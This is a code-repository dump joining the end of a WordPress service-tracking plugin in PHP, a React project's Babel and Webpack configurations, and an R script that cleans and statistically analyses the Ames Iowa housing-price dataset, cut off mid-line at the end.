InViewContext; <file_sep>/react-app/context/types.js export const GET_USERS = "GET_USERS"; export const GET_CASES = "GET_CASES"; export const IN_VIEW = "IN_VIEW"; export const GET_STATUS = "GET_STATUS"; <file_sep>/includes/Service_Tracker.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Loader; use ServiceTracker\includes\Service_Tracker_i18n; use ServiceTracker\includes\Service_Tracker_Api; use ServiceTracker\includes\Service_Tracker_Api_Cases; use ServiceTracker\includes\Service_Tracker_Api_Progress; use ServiceTracker\includes\Service_Tracker_Api_Toggle; use ServiceTracker\admin\Service_Tracker_Admin; use ServiceTracker\publics\Service_Tracker_Public; // public is a reserved word in php, it had to be changed to plural use ServiceTracker\publics\Service_Tracker_Public_User_Content; // This must be here, since PSR4 determines that define should not be used in an output file define( 'SERVICE_TRACKER_VERSION', '1.0.0' ); /** * The file that defines the core plugin class * * A class definition that includes attributes and functions used across both the * public-facing side of the site and the admin area. * * @link http://example.com * @since 1.0.0 * * @package Plugin_Name * @subpackage Plugin_Name/includes */ /** * The core plugin class. * * This is used to define internationalization, admin-specific hooks, and * public-facing site hooks. * * Also maintains the unique identifier of this plugin as well as the current * version of the plugin. * * @since 1.0.0 * @package Plugin_Name * @subpackage Plugin_Name/includes * @author <NAME> <<EMAIL>> */ class Service_Tracker { /** * The loader that's responsible for maintaining and registering all hooks that power * the plugin. * * @since 1.0.0 * @access protected * @var Plugin_Name_Loader $loader Maintains and registers all hooks for the plugin. */ protected $loader; /** * The unique identifier of this plugin. * * @since 1.0.0 * @access protected * @var string $plugin_name The string used to uniquely identify this plugin. */ protected $plugin_name; /** * The current version of the plugin. * * @since 1.0.0 * @access protected * @var string $version The current version of the plugin. */ protected $version; /** * Define the core functionality of the plugin. * * Set the plugin name and the plugin version that can be used throughout the plugin. * Load the dependencies, define the locale, and set the hooks for the admin area and * the public-facing side of the site. * * @since 1.0.0 */ public function __construct() { if ( defined( 'SERVICE_TRACKER_VERSION' ) ) { $this->version = SERVICE_TRACKER_VERSION; } else { $this->version = '1.0.0'; } $this->plugin_name = 'service-tracker'; if ( ! class_exists( 'WooCommerce' ) ) { $this->add_client_role(); } $this->load_dependencies(); $this->set_locale(); $this->define_admin_hooks(); $this->api(); $this->define_public_hooks(); $this->public_user_content(); } /** * Load the required dependencies for this plugin. * * Include the following files that make up the plugin: * * - Plugin_Name_Loader. Orchestrates the hooks of the plugin. * - Plugin_Name_i18n. Defines internationalization functionality. * - Plugin_Name_Admin. Defines all hooks for the admin area. * - Plugin_Name_Public. Defines all hooks for the public side of the site. * * Create an instance of the loader which will be used to register the hooks * with WordPress. * * @since 1.0.0 * @access private */ private function load_dependencies() { $this->loader = new Service_Tracker_Loader(); } private function api() { $serviceTracker_api_cases = new Service_Tracker_Api_Cases(); $this->loader->add_action( 'rest_api_init', $serviceTracker_api_cases, 'run' ); $serviceTracker_api_progress = new Service_Tracker_Api_Progress(); $this->loader->add_action( 'rest_api_init', $serviceTracker_api_progress, 'run' ); $serviceTracker_api_toggle = new Service_Tracker_Api_Toggle(); $this->loader->add_action( 'rest_api_init', $serviceTracker_api_toggle, 'run' ); } /** * Define the locale for this plugin for internationalization. * * Uses the Service_Tracker_i18n class in order to set the domain and to register the hook * with WordPress. * * @since 1.0.0 * @access private */ private function set_locale() { $plugin_i18n = new Service_Tracker_i18n(); $this->loader->add_action( 'plugins_loaded', $plugin_i18n, 'load_plugin_textdomain' ); } private function add_client_role() { add_role( 'client', __( 'Client', 'service-tracker' ), get_role( 'subscriber' )->capabilities ); } /** * Register all of the hooks related to the admin area functionality * of the plugin. * * @since 1.0.0 * @access private */ private function define_admin_hooks() { $plugin_admin = new Service_Tracker_Admin( $this->get_plugin_name(), $this->get_version() ); $this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_styles' ); $this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts' ); $this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'localize_scripts' ); $this->loader->add_action( 'admin_menu', $plugin_admin, 'admin_page' ); } /** * Register all of the hooks related to the public-facing functionality * of the plugin. * * @since 1.0.0 * @access private */ private function define_public_hooks() { if ( is_admin() ) { return; } $plugin_public = new Service_Tracker_Public( $this->get_plugin_name(), $this->get_version() ); $this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_styles' ); $this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_scripts' ); } private function public_user_content() { if ( is_admin() ) { return; } $public_user_content = new Service_Tracker_Public_User_Content(); $this->loader->add_action( 'init', $public_user_content, 'get_user_id' ); } /** * Run the loader to execute all of the hooks with WordPress. * * @since 1.0.0 */ public function run() { $this->loader->run(); } /** * The name of the plugin used to uniquely identify it within the context of * WordPress and to define internationalization functionality. * * @since 1.0.0 * @return string The name of the plugin. */ public function get_plugin_name() { return $this->plugin_name; } /** * The reference to the class that orchestrates the hooks with the plugin. * * @since 1.0.0 * @return Plugin_Name_Loader Orchestrates the hooks of the plugin. */ public function get_loader() { return $this->loader; } /** * Retrieve the version number of the plugin. * * @since 1.0.0 * @return string The version number of the plugin. */ public function get_version() { return $this->version; } } <file_sep>/Service_Tracker_init.php <?php /** * Service Tracker bootstrap file * * @link http://delbem.net/service-tracker * @since 1.0.0 * @package Service Tracker * * Plugin Name: Service Tracker * Version: 1.0.0 * Description: This plugin offers the possibilitie to track the services you provide. * Author: <NAME> <<EMAIL>> * Author URI: https://delbem.net * Plugin URI: https://delbem.net/services-tracker * Text Domain: service-tracker * Domain Path: languages */ defined( 'WPINC' ) or die(); require_once plugin_dir_path( __FILE__ ) . '/vendor/autoload.php'; use ServiceTracker\includes\Service_Tracker_Activator; use ServiceTracker\Service_Tracker_Uninstall; use ServiceTracker\includes\Service_Tracker; function activate_st_service_tracker() { Service_Tracker_Activator::activate(); Service_Tracker_Activator::activation_notice(); } // Service Tracker should do nothing on deactivation function uninstall_st_service_tracker() { Service_Tracker_Uninstall::uninstall(); } register_activation_hook( __FILE__, 'activate_st_service_tracker' ); register_uninstall_hook( __FILE__, 'uninstall_st_service_tracker' ); $ST_serviceTracker = new Service_Tracker(); $ST_serviceTracker->run(); // UPDATE CHECKER if ( is_admin() ) { require wp_normalize_path( plugin_dir_path( __FILE__ ) . 'plugin-update-checker/plugin-update-checker.php' ); $myUpdateChecker = Puc_v4_Factory::buildUpdateChecker( 'https://delbem.net/plugins/service-tracker/update_verification.json', __FILE__, // Full path to the main plugin file or functions.php. 'service-tracker' ); }
30a9f9b11881ba22a165c34971d3e88155371289
[ "JavaScript", "Markdown", "PHP" ]
30
PHP
rodrigodelbem/service-tracker
b9bfeb6a2b88d265395e3798998b84e8582e80ea
6a74f6f53e71246e3ba02226309407e81426fd11
refs/heads/master
<file_sep>module.exports = { presets: ['@babel/preset-env', '@babel/preset-react', '@babel/preset-flow'], plugins: [ 'react-hot-loader/babel', '@babel/plugin-syntax-dynamic-import', '@babel/plugin-proposal-class-properties', '@babel/plugin-proposal-export-namespace-from', '@babel/plugin-proposal-throw-expressions', [ 'module-resolver', { root: ['./src'] } ], [ 'babel-plugin-styled-components', { fileName: false, pure: true } ] ] }; <file_sep>const fs = require('fs'); const path = require('path'); const merge = require('webpack-merge'); /** Plugins */ // $FlowFixMe: There's no type definition for this npm package yet const UglifyJsPlugin = require('uglifyjs-webpack-plugin'); const Visualizer = require('webpack-visualizer-plugin'); // const OptimizeCssAssetsPlugin = require('optimize-css-assets-webpack-plugin'); /** Importing Base Webpack */ const baseConfig = require('./webpack.config.base'); /** Helper */ const resolveApp = relativePath => path.resolve(fs.realpathSync(process.cwd()), relativePath); const prodConfiguration = env => merge([ { mode: 'production', output: { // The build folder. path: resolveApp('dist'), // Generated JS file names (with nested folders). // One main bundle, and one file per asynchronous chunk. filename: 'static/js/[name].[chunkhash:8].js', chunkFilename: 'static/js/[name].[chunkhash:8].chunk.js', // Point sourcemap entries to original disk location (format as URL on Windows) devtoolModuleFilenameTemplate: info => path.relative(resolveApp('src'), info.absoluteResourcePath).replace(/\\/g, '/') // TODO: inferred the "public path" }, optimization: { runtimeChunk: 'single', splitChunks: { cacheGroups: { vendor: { test: /[\\/]node_modules[\\/]/, name: 'vendors', chunks: 'all' } } }, minimizer: [new UglifyJsPlugin()] }, plugins: [ // new OptimizeCssAssetsPlugin(), new Visualizer({ filename: './statistics.html' }) ] } ]); module.exports = env => merge(baseConfig(env), prodConfiguration(env)); <file_sep>const webpack = require('webpack'); const merge = require('webpack-merge'); const HtmlWebpackPlugin = require('html-webpack-plugin'); module.exports = env => { const { PLATFORM, VERSION } = env; return merge([ { module: { rules: [ { test: /\.(js|jsx)$/, exclude: /node_modules/, use: { loader: 'babel-loader', options: { // This is a feature of `babel-loader` for webpack (not Babel itself). // It enables caching results in ./node_modules/.cache/babel-loader/ // directory for faster rebuilds. cacheDirectory: true, plugins: ['react-hot-loader/babel'] } } }, { test: /\.(png|jpe?g|gif|svg|webp)$/i, use: { loader: require.resolve('file-loader'), options: { name: 'static/media/[name].[ext]' } } }, { test: /\.(ttf|eot|woff2?)$/i, use: { loader: require.resolve('file-loader'), options: { name: 'static/fonts/[name].[ext]' } } } ] }, plugins: [ new HtmlWebpackPlugin({ template: './public/index.html', filename: './index.html' }), new webpack.DefinePlugin({ 'process.env.VERSION': JSON.stringify(env.VERSION), 'process.env.PLATFORM': JSON.stringify(env.PLATFORM) }) ] } ]); };
f5eab04556bd045e22c44483c8324aa8510c7a46
[ "JavaScript" ]
3
JavaScript
dgonzalezr/react-starter-kit
6a5cd5a2d21f64300f16a11b5b507b333447120c
57f7e09ec9609db3fec2f69322c695f80a302faa
refs/heads/main
<repo_name>euaarseniou/MscBA-Statistics1-Ames-Iowa-Dataset-Predict-Property-Prices<file_sep>/Code.r #Reading the data setwd("C:/Users/Eva/Desktop/aueb/Statistics 1/Main Assignment Ntzoufras") data<-read.csv(file = 'ames_iowa_housing_29.csv', header= TRUE, sep=";") head(data) #--------Drop x, order and pid variables data<-subset(data,select=-c(X, Order, PID)) str(data) require(psych) #--------------------------------------------------------------# # # # Find missing values in the data set # # # #--------------------------------------------------------------# NAs <- which(colSums(is.na(data)) > 0) sort(colSums(sapply(data[NAs], is.na)), decreasing = TRUE) #Pool.QC is the variable with the most missing values length(NAs) #19 variables have NAs require(plyr) #--------------------------------------------------------------------------- data$Pool.QC[is.na(data$Pool.QC)] <- 'NA' table(data$Pool.QC) PoolQC <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Pool.QC<-as.integer(revalue(data$Pool.QC, PoolQC)) table(data$Pool.QC) #---------------------------------------------------------------------------- data$Misc.Feature[is.na(data$Misc.Feature)] <- 'NA' data$Misc.Feature <- as.factor(data$Misc.Feature) table(data$Misc.Feature) #--------------------------------------------------------------------------- data$Alley[is.na(data$Alley)] <- 'NA' data$Alley <- as.factor(data$Alley) table(data$Alley) #--------------------------------------------------------------------------- data$Fence[is.na(data$Fence)] <- 'NA' table(data$Fence) data$Fence <- as.factor(data$Fence) #--------------------------------------------------------------------------- data$Fireplace.Qu[is.na(data$Fireplace.Qu)] <- 'NA' Fireplace <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Fireplace.Qu<-as.integer(revalue(data$Fireplace.Qu, Fireplace)) table(data$Fireplace.Qu) #--------------------------------------------------------------------------- for (i in 1:nrow(data)){ if(is.na(data$Lot.Frontage[i]==TRUE)){ data$Lot.Frontage[i] <- as.integer(median(data$Lot.Frontage[data$Neighborhood==data$Neighborhood[i]], na.rm=TRUE)) } } i<-which(is.na(data$Lot.Frontage)) #there is only 1 GrnHill in our data set so we cannot take the median for this neighborhood #we are going to use the mode for lot.frontage require(modeest) data$Lot.Frontage[is.na(data$Lot.Frontage)] <- mlv(data$Lot.Frontage[-i], method = "mfv") Lot.Shape<-c('IR3'=0, 'IR2'=1, 'IR1'=2, 'Reg'=3) data$Lot.Shape<-as.integer(revalue(data$Lot.Shape,Lot.Shape )) table(data$Lot.Shape) data$Lot.Config <- as.factor(data$Lot.Config) table(data$Lot.Config) #---------------------------------------------------------------------------- data$Garage.Yr.Blt[is.na(data$Garage.Yr.Blt)] <- data$Year.Built[is.na(data$Garage.Yr.Blt)] length(which(is.na(data$Garage.Type) & is.na(data$Garage.Finish) & is.na(data$Garage.Cond) & is.na(data$Garage.Qual))) data$Garage.Type[is.na(data$Garage.Type)] <- 'NA' data$Garage.Type<- as.factor(data$Garage.Type) table(data$Garage.Type) data$Garage.Finish[is.na(data$Garage.Finish)] <- 'NA' GarageFinish <- c('NA'=0, 'Unf'=1, 'RFn'=2, 'Fin'=3) data$Garage.Finish<-as.integer(revalue(data$Garage.Finish, GarageFinish)) table(data$Garage.Finish) data$Garage.Qual[is.na(data$Garage.Qual)] <- 'NA' GarageQual <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Garage.Qual<-as.integer(revalue(data$Garage.Qual, GarageQual)) table(data$Garage.Qual) data$Garage.Cond[is.na(data$Garage.Cond)] <- 'NA' GarageCond <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Garage.Cond<-as.integer(revalue(data$Garage.Cond, GarageCond)) table(data$Garage.Cond) #------------------------------------------------------------------------------ #check if 47 NAs are the same for all basement variables length(which(is.na(data$Bsmt.Qual) & is.na(data$Bsmt.Cond) & is.na(data$Bsmt.Exposure) & is.na(data$BsmtFin.Type.1) & is.na(data$BsmtFin.Type.2))) #they are all the same so we have to find which 2 nas are in bsmt.exposure same<-which(is.na(data$Bsmt.Qual) & is.na(data$Bsmt.Cond) & is.na(data$BsmtFin.Type.1) & is.na(data$BsmtFin.Type.2)) bsmtexposure_nas<-which(is.na(data$Bsmt.Exposure)) #compare to find which are the 2 extra NAs y<-bsmtexposure_nas[!(bsmtexposure_nas %in% same)] #rows 174 and 1154 #select only columns for basement with NAs bmst<-subset(data,select=c(Bsmt.Exposure,Bsmt.Qual, Bsmt.Cond, BsmtFin.Type.1,BsmtFin.Type.2)) #show only the rows with extra 2 NAs bmst[y,] #filter the data set bmst<-bmst[which((data$Bsmt.Qual=='Gd')&(data$Bsmt.Cond=='TA')&(data$BsmtFin.Type.1=='Unf')&(data$BsmtFin.Type.2=='Unf')),] #find the most common bsmt.exposure table(bmst$Bsmt.Exposure) #so we are going to replace NAs with NA data$Bsmt.Qual[is.na(data$Bsmt.Qual)] <- 'NA' BsmtQual <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Bsmt.Qual<-as.integer(revalue(data$Bsmt.Qual, BsmtQual)) table(data$Bsmt.Qual) data$Bsmt.Cond[is.na(data$Bsmt.Cond)] <- 'NA' BsmtCond <- c('NA' = 0, 'Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Bsmt.Cond<-as.integer(revalue(data$Bsmt.Cond, BsmtCond)) table(data$Bsmt.Cond) data$Bsmt.Exposure[is.na(data$Bsmt.Exposure)] <- 'NA' BsmtExposure <- c('NA'=0, 'No'=1, 'Mn'=2, 'Av'=3, 'Gd'=4) data$Bsmt.Exposure<-as.integer(revalue(data$Bsmt.Exposure, BsmtExposure)) table(data$Bsmt.Exposure) data$BsmtFin.Type.1[is.na(data$BsmtFin.Type.1)] <- 'NA' BsmtFinType <- c('NA'=0, 'Unf'=1, 'LwQ'=2, 'Rec'=3, 'BLQ'=4, 'ALQ'=5, 'GLQ'=6) data$BsmtFin.Type.1<-as.integer(revalue(data$BsmtFin.Type.1,BsmtFinType)) table(data$BsmtFin.Type.1) data$BsmtFin.Type.2[is.na(data$BsmtFin.Type.2)] <- 'NA' BsmtFinType <- c('NA'=0, 'Unf'=1, 'LwQ'=2, 'Rec'=3, 'BLQ'=4, 'ALQ'=5, 'GLQ'=6) data$BsmtFin.Type.2<-as.integer(revalue(data$BsmtFin.Type.2, BsmtFinType)) table(data$BsmtFin.Type.2) #---------------------------------------------------------------------------- data$Mas.Vnr.Type[is.na(data$Mas.Vnr.Type)] <- 'Missing' data$Mas.Vnr.Type<- as.factor(data$Mas.Vnr.Type) table(data$Mas.Vnr.Type) data$Mas.Vnr.Area[is.na(data$Mas.Vnr.Area)] <-0 #----------------------------------------------------------------------- which(is.na(data$Electrical)) #only one NA so it is better to replace it with the most common category and #not create a new level missing data$Electrical[is.na(data$Electrical)] <- names(sort(table(data$Electrical),decreasing=TRUE))[1] data$Electrical <- as.factor(data$Electrical) table(data$Electrical) #------------------------------------------------------------------------- which(is.na(data)==TRUE) #we have finished with NAs #----------------------------------------------------------------------------# # # # Convert remaining Variables in the correct type # # # #----------------------------------------------------------------------------# #----------------------------------------------------------------------------- data$MS.SubClass <- as.factor(data$MS.SubClass) #----------------------------------------------------------------------------- data$MS.Zoning <- as.factor(data$MS.Zoning) table(data$MS.Zoning) #----------------------------------------------------------------------------- data$Street <- as.factor(data$Street) table(data$Street) #----------------------------------------------------------------------------- data$Land.Contour <- as.factor(data$Land.Contour) table(data$Land.Contour) landslope<-c('Sev'=0, 'Mod'=1, 'Gtl'=2) data$Land.Slope<-as.integer(revalue(data$Land.Slope, landslope)) table(data$Land.Slope) #----------------------------------------------------------------------------- table(data$Utilities) #utilities has only 2 nosewr. it seems that this variable does not add any significant #information in our model. we keep this in mind for later on #----------------------------------------------------------------------------- data$Neighborhood <- as.factor(data$Neighborhood) table(data$Neighborhood) #----------------------------------------------------------------------------- data$Condition.1 <- as.factor(data$Condition.1) table(data$Condition.1) data$Condition.2 <- as.factor(data$Condition.2) table(data$Condition.2) #----------------------------------------------------------------------------- data$Bldg.Type <- as.factor(data$Bldg.Type) table(data$Bldg.Type) data$House.Style<- as.factor(data$House.Style) table(data$House.Style) #----------------------------------------------------------------------------- data$Roof.Style <- as.factor(data$Roof.Style) table(data$Roof.Style) data$Roof.Matl <- as.factor(data$Roof.Matl) table(data$Roof.Matl) #----------------------------------------------------------------------------- data$Exterior.1st <- as.factor(data$Exterior.1st) table(data$Exterior.1st) data$Exterior.2nd <- as.factor(data$Exterior.2nd) table(data$Exterior.2nd) ExterQual <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Exter.Qual<-as.integer(revalue(data$Exter.Qual, ExterQual)) ExterCond <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Exter.Cond<-as.integer(revalue(data$Exter.Cond, ExterCond)) #---------------------------------------------------------------------------- data$Foundation <- as.factor(data$Foundation) table(data$Foundation) #---------------------------------------------------------------------------- data$Heating <- as.factor(data$Heating) table(data$Heating) HeatingQC <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Heating.QC<-as.integer(revalue(data$Heating.QC, HeatingQC)) data$Central.Air <- as.factor(data$Central.Air) table(data$Central.Air) #---------------------------------------------------------------------------- kitchenqual <- c('Po' = 1, 'Fa' = 2, 'TA' = 3, 'Gd' = 4, 'Ex' = 5) data$Kitchen.Qual<-as.integer(revalue(data$Kitchen.Qual, kitchenqual)) table(data$Kitchen.Qual) #---------------------------------------------------------------------------- functional<- c('Sal'=1, 'Sev'=2, 'Maj2'=3, 'Maj1'=4, 'Mod'=5, 'Min2'=6, 'Min1'=7, 'Typ'=8) data$Functional <- as.integer(revalue(data$Functional,functional)) table(data$Functional) #--------------------------------------------------------------------------- paveddrive<-c('N'=1, 'P'=2, 'Y'=3) data$Paved.Drive<-as.integer(revalue(data$Paved.Drive, paveddrive)) table(data$Paved.Drive) #--------------------------------------------------------------------------- data$Sale.Type <- as.factor(data$Sale.Type ) table(data$Sale.Type) data$Sale.Condition <- as.factor(data$Sale.Condition) table(data$Sale.Condition) data$Yr.Sold <- as.factor(data$Yr.Sold) table(data$Yr.Sold) data$Mo.Sold<- as.factor(data$Mo.Sold) table(data$Mo.Sold) #--------------------------------------------------------------------------- #split data to numeric and categorical variables index <- (sapply(data, class) == "integer") |(sapply(data, class) == "numeric") datanum <- data[,index] datafact <- data[,!index] ncol(datanum) # 52 numeric variables ncol(datafact) # 28 categorical variables #----------------------------------------------------------------------------# # # # univariate analysis # # # #----------------------------------------------------------------------------# #--------------------------------------------------------------# # descriptive statistics #--------------------------------------------------------------# require(summarytools) dsc <- round(describe(datanum),2) View(dsc) #we found that garage.yr.build has a maximum value 2027. this is not reasonable #we are going to replace it with the year.remod.add row<-which((datanum$Garage.Yr.Blt)==2207) datanum$Garage.Yr.Blt[row]<-datanum$Year.Remod.Add[row] #--------------Separate Discrete variables------------------------------------- datadiscrete<-subset(datanum,select=c(Garage.Yr.Blt,Bsmt.Full.Bath,Bsmt.Half.Bath,Full.Bath,Half.Bath, Bedroom.AbvGr,Kitchen.AbvGr,Kitchen.Qual,Fireplaces,Fireplace.Qu, Garage.Cars,Year.Built,Year.Remod.Add,Lot.Shape, Land.Slope, Overall.Cond, Exter.Qual, Exter.Cond,Bsmt.Qual,Bsmt.Cond,Bsmt.Exposure,BsmtFin.Type.1,BsmtFin.Type.2, Heating.QC,TotRms.AbvGrd, Functional, Garage.Finish, Garage.Qual,Garage.Cond, Paved.Drive, Pool.QC,Overall.Qual)) #--------------Separate Continuous variables----------------------------------- datanumeric<-subset(datanum,select=-c(Garage.Yr.Blt,Bsmt.Full.Bath,Bsmt.Half.Bath,Full.Bath,Half.Bath, Bedroom.AbvGr,Kitchen.AbvGr,Kitchen.Qual,Fireplaces,Fireplace.Qu, Garage.Cars,Year.Built,Year.Remod.Add,Lot.Shape, Land.Slope, Overall.Cond, Exter.Qual, Exter.Cond,Bsmt.Qual,Bsmt.Cond,Bsmt.Exposure,BsmtFin.Type.1,BsmtFin.Type.2, Heating.QC,TotRms.AbvGrd, Functional, Garage.Finish, Garage.Qual,Garage.Cond, Paved.Drive, Pool.QC,Overall.Qual)) #find the mode for categorical variables and mean for numeric meanvalues<-sapply(datanumeric,mean) meanvalues<-as.data.frame(round(meanvalues,2)) Mode = function(x){ tab = table(x) maxim = max(tab) if (all(tab == maxim)) mod = NA else if(is.numeric(x)) mod = as.numeric(names(tab)[tab == maxim]) else mod = names(tab)[tab == maxim] return(mod) } modefact<-rep(NA,ncol(datafact)) for (i in 1:ncol(datafact)){ modefact[i]<-Mode(datafact[,i]) } modefact<-cbind(colnames(datafact),modefact) modediscrete<-rep(NA,ncol(datadiscrete)) for (i in 1:ncol(datadiscrete)){ modediscrete[i]<-Mode(datadiscrete[,i]) } modediscrete<-cbind(colnames(datadiscrete),modediscrete) #--------------------------------------------------------------# # Visual Analysis #--------------------------------------------------------------# #useful visuals for report options(scipen = 999) par(mfrow=c(1,3)) hist(datanum$SalePrice,main="SalePrice",xlab="",ylab="Frequency",col=5,cex.axis=1.5,cex.lab=1.5) hist(datanum$Year.Built,main="Year.Built",xlab="",ylab="Frequency",col=5,cex.axis=1.5,cex.lab=1.5) hist(datanum$Gr.Liv.Area,main="Gr.Liv.Area",xlab="",ylab="Frequency",col=5,cex.axis=1.5,cex.lab=1.5) par(mfrow=c(1,2)) barplot(table(datafact$Mo.Sold),main="Mo.Sold",xlab="",ylab="Frequency", col="brown",cex.axis=1.5,cex.lab=1.5) barplot(sort(table(datafact$Neighborhood)),xlim=c(0,250),horiz=TRUE,las=1,ylab=names(datafact$Neighborhood), col="brown",cex.axis=1,cex.names=0.5, main="Neighborhoods of Houses") #---------------discrete variables----------- n<-nrow(datadiscrete) par(mfrow=c(2,3)); for (i in 1:ncol(datadiscrete)) { plot(table(datadiscrete[,i])/n, type='h', main=names(datadiscrete)[i], ylab='Relative frequency',col="deepskyblue4") } #-------------continuous variables----------- par(mfrow=c(2,3)); for (i in 1:ncol(datanumeric)) { hist(datanumeric[,i], main=names(datanumeric)[i], xlab="",col="deepskyblue4") } par(mfrow=c(2,3)); for (i in 1:ncol(datanumeric)) { qqnorm(datanumeric[,i],main=names(datanumeric)[i],col="magenta") qqline(datanumeric[,i], col="black") } #----------categorical variables------------ #Visual Analysis for factors par(mfrow=c(2,3)); for (i in 1:ncol(datafact)){ barplot(table(datafact[,i]),ylab=names(datafact)[i], col="brown",cex.axis=1.5,cex.lab=1.5) } #----------------------------------------------------------------------------# # # # Bivariate analysis # # # #----------------------------------------------------------------------------# #------------Pairwise comparisons----------- #numeric variables require(corrplot) head(datanumeric) par(mfrow=c(2,3)) for (i in 1:(ncol(datanumeric)-1)){ plot(datanumeric[,i],datanum$SalePrice,ylab="SalePrice",xlab=names(datanumeric)[i],col="magenta") } n<-which(colnames(datanum)=='SalePrice') x<-cor(datanum$SalePrice, datanum[,-n]) x <- x[,order(x[1,])] barplot(x, horiz=T, las = 1, xlim=c(-0.4,0.8), cex.axis=1, cex.names=0.5, col="mediumorchid1",) #overallqual has the strongest correlation with saleprice cor_numVar <- cor(datanum, use="pairwise.complete.obs") #correlations of all numeric variables #sort on decreasing correlations with SalePrice cor_sorted <- as.matrix(sort(cor_numVar[,'SalePrice'], decreasing = TRUE)) #select only high corelations CorHigh <- names(which(apply(cor_sorted, 1, function(x) abs(x)>0.53))) cor_numVar <- cor_numVar[CorHigh, CorHigh] corrplot.mixed(cor_numVar, tl.col="black", tl.pos = "lt") length(CorHigh) #drop variables with cor>0.80 #drop garage.cars, Garage.Yr.Blt, Garage.Cond, Pool.Area, BsmtFin.SF.2 datanum<-subset(datanum,select=-c(Garage.Yr.Blt, Garage.Cars, Garage.Cond,Pool.Area, BsmtFin.SF.2)) #--------------------Saleprice~categorical variables------------------------------- #SalePrice (our response) on factor variables par(mfrow=c(2,3)) for(i in 1:ncol(datafact)){ boxplot(datanum$SalePrice~datafact[,i], xlab=names(datafact)[i], ylab='SalePrice',cex.lab=1.5, col=4) } #---------------------------------------------------------------------------------- #Saleprice - Neighborhood options(scipen = 0) #Tests for k>2 independent samples - 1 quantitative & 1 categorical factor anova<-aov(data$SalePrice~data$Neighborhood) summary(anova) #Can we assume normality? require(nortest) shapiro.test(anova$res) lillie.test(anova$res) qqnorm(anova$res) qqline(anova$res) #no #large sample? #yes #is the mean a sufficient descriptive measure for central location for all groups? require(lawstat) symmetry.test(anova$res) #no #test for equality of medians (kruskall-wallis test) kruskal.test(data$SalePrice~data$Neighborhood) #reject Ho boxplot(data$SalePrice~data$Neighborhood,ylab="SalePrice",xlab="",main="Neighborhood",boxcol=1,boxfill=2,las=2,medlwd=3,medcol="black") #--------------------------------------------------------------------------------- #Saleprice - YrSold #Tests for k>2 independent samples - 1 quantitative & 1 categorical factor anova<-aov(data$SalePrice~data$Yr.Sold) summary(anova) #Can we assume normality? require(nortest) shapiro.test(anova$res) lillie.test(anova$res) qqnorm(anova$res) qqline(anova$res) #no #large sample? #yes #is the mean a sufficient descriptive measure for central location for all groups? require(lawstat) symmetry.test(anova$res) #nO #test for equality of medians (kruskall-wallis test) kruskal.test(data$SalePrice~data$Yr.Sold) #we do not reject Ho boxplot(data$SalePrice~data$Yr.Sold, ylab="SalePrice",xlab="",main="Yr.Sold",boxcol=1,boxfill=2,medlwd=3,medcol="black") #--------------------------------------------------------------------------------------- #Sales - Street #test for 2 independent samples - 1 quantitative & 1 binary #can we assume the normality? table(data$Street) by(data$SalePrice,data$Street,shapiro.test) by(data$SalePrice,data$Street, lillie.test) #no #large samples? #yes #is the mean a sufficient descriptive measure for central location for both groups? symmetry.test(data$SalePrice) #no #test for zero difference between the medians wilcox.test(data$SalePrice~data$Street) #we reject Ho: M1=M2 significance difference is found about the median of the saleprice between grvl and pave boxplot(data$SalePrice~data$Street,ylab="SalePrice",xlab="",main="Street",boxfill=2,medlwd=3) #--------------------------------------------------------------------------------------- #Sales -Central Air #test for 2 independent samples - 1 quantitative & 1 binary #can we assume the normality? table(data$Central.Air) by(data$SalePrice,data$Central.Air,shapiro.test) by(data$SalePrice,data$Central.Air, lillie.test) #no #large samples? #yes #is the mean a sufficient descriptive measure for central location for both groups? symmetry.test(data$SalePrice) #no #test for zero difference between the medians wilcox.test(data$SalePrice~data$Central.Air) #we reject Ho: M1=M2 significance difference is found boxplot(data$SalePrice~data$Central.Air,ylab="SalePrice",xlab="",main="Central.Air",boxfill=2,medlwd=3) par(mfrow=c(2,2)) #----------------------------------------------------------------------------# # # # Model Selection # # # #----------------------------------------------------------------------------# table(data$sa) require(fastDummies) datafact <- dummy_cols(datafact, remove_selected_columns = TRUE,remove_first_dummy = TRUE) colnames(datafact) sapply(datafact,as.numeric) data<-cbind(datanum,datafact) ncol(data) #after dummy creation variables are 235 # Dropping highly correlated variables cor_numVar <- cor(data, use="pairwise.complete.obs") #correlations of all numeric variables #sort on decreasing correlations with SalePrice cor_sorted <- as.matrix(sort(cor_numVar[,'SalePrice'], decreasing = TRUE)) #select only high corelations CorHigh <- names(which(apply(cor_sorted, 1, function(x) abs(x)>0.25))) cor_numVar <- cor_numVar[CorHigh, CorHigh] corrplot.mixed(cor_numVar, tl.col="black", tl.pos = "lt") length(CorHigh) data<-subset(data,select=c(SalePrice, Overall.Qual, Gr.Liv.Area, Exter.Qual,Kitchen.Qual, Total.Bsmt.SF, X1st.Flr.SF, Garage.Area, Bsmt.Qual,Year.Built, Garage.Finish, Year.Remod.Add, Full.Bath, Fireplace.Qu, Foundation_PConc, Mas.Vnr.Area, TotRms.AbvGrd, Fireplaces, Heating.QC, BsmtFin.SF.1, Bsmt.Exposure, Neighborhood_NridgHt, Lot.Frontage, MS.SubClass_60, Garage.Type_Attchd, Sale.Type_New, Sale.Condition_Partial, Exterior.1st_VinylSd, Exterior.2nd_VinylSd, 